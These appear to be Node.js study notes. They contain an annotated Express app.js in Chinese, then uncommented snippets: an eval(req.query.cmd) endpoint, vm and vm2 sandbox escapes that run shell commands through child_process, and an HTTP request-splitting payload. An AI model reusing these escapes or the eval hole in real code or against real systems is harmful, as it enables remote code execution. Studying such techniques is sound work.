//这里主要是引用所必须要的模块，当然，这些模块是需要使用“npm install 模块名”安装的
//模块依赖
var express = require('express');
var path = require('path');
var favicon = require('serve-favicon');
var logger = require('morgan');
var cookieParser = require('cookie-parser');
var bodyParser = require('body-parser');
 
var index = require('./routes/index');
var users = require('./routes/users');
 
//定义app，生成一个express实例
var app = express();
 
//设置views文件夹为存刚视图文件的目录，即存放模板文件的目录
//_dirname为全局变量，存储当前正在执行的脚本所在的目录
app.set('views', path.join(__dirname, 'views'));
//设置视图模板引擎为jade
app.set('view engine', 'jade');
 
// uncomment after placing your favicon in /public
//app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')))
//加载日志中间件
app.use(logger('dev'));
//加载解析json的中间件
app.use(bodyParser.json());
//加载解析urlencoded请求的中间件
app.use(bodyParser.urlencoded({ extended: false }));
//加载解析cookie的中间件
app.use(cookieParser());
//设置public文件夹为存放静态文件的目录
app.use(express.static(path.join(__dirname, 'public')));
 
//加载路由——路由控制器
app.use('/', index);
app.use('/users', users);
 
// catch 404 and forward to error handler
//记载错误处理解决方法
//捕获404错误，并转发到错误处理器
app.use(function(req, res, next) {
  var err = new Error('Not Found');
  err.status = 404;
  next(err);
});
 
// error handler
//开发环境下的错误处理器，将错误信息渲染error模板并显示浏览器中
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};
 
  // render the error page
  res.status(err.status || 500);
  res.render('error');
});
 
//导出app对象供其他模板调用
module.exports = app;

var ejs = require('ejs');  //我是新引入的ejs插件

app.engine('html', ejs.__express);

app.set('view engine', 'html');

const express = require("express")
var app = express()

app.get('/',function(req,res){
    res.send(eval(req.query.cmd))
})
var server = app.listen(8081, function() {
    console.log("http://127.0.0.1:8081/")
})

const vm = require("vm");
const ctx = {};

vm.runInNewContext(
    'global.process.mainModule.constructor._load("child_process").execSync("calc")()',
    ctx
);

//global is not defined

const vm = require("vm");
const ctx = {};

vm.runInNewContext(
    'this.constructor.constructor("global.process.mainModule.constructor._load(\'child_process\').execSync(\'calc\')")()',
    ctx
);

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
    process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
    process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

> Buffer.from('http://localhost/vertify?code=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}localhost\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/admin', 'latin1').toString()